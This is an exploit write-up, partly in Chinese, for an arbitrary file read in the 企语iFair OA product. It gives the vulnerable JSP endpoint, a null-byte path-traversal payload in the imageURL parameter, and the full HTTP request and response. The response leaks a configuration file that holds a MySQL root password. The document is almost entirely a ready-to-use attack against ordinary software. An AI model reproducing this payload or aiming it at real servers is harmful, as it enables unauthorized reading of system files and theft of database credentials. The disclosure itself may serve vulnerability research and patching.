企语iFair Any file read

0x1

Exploit Title: 企语iFair Any file read

Date: 2023-11-8

Exploit Author: sunke

Vendor Homepage: http://www.fuwushe.org/jsp/download/?page=download

Version <= 23.8_ad0

0x1

http://192.168.204.239:8080/oa/common/components/upload/getuploadimage.jsp?imageURL=C:\Fuwushe\backup\MyAdmin.ini%001.png

请求

Pretty 原始 十六进制 \n

```
GET /oa/common/components/upload/getuploadimage.jsp?imageURL=C:\Fuwushe\backup\MyAdmin.ini%001.png HTTP/1.1
Host: 192.168.204.239:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.204.239:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.204.239:8080/oa/common/components/upload/upload.jsp?actionmethod=uploadMyDocAttach&uuid=7308917442014233928&categoryId=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=99F329A692B915D9C673C078BFE5D6A1; Cookie_Lang_OA=zh_CN; LoginId_OA=admin
Connection: close
```

响应

Pretty 原始 十六进制 Render \n

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: image/jpeg;charset=UTF-8
Date: Fri, 27 Oct 2023 02:00:35 GMT
Connection: close

[Settings]
Language=□ò□□□□□□
AutoRun=1
MinimizedOnLoad=1
[BackupTimer]
Database=stfoa,
SavePath=D:\f-backup\
CycleType=1
CyclePeriod=1
DateY=2009
DateM=8
DateD=28
TimeH=3
TimeI=0
TimeS=0
AutoExec=1
[MySQL]
Host=localhost
User=root
Password=3.1415926
Port=13306
[Backup]
Database=stfoa,
[Tools]
Database=stfoa,
```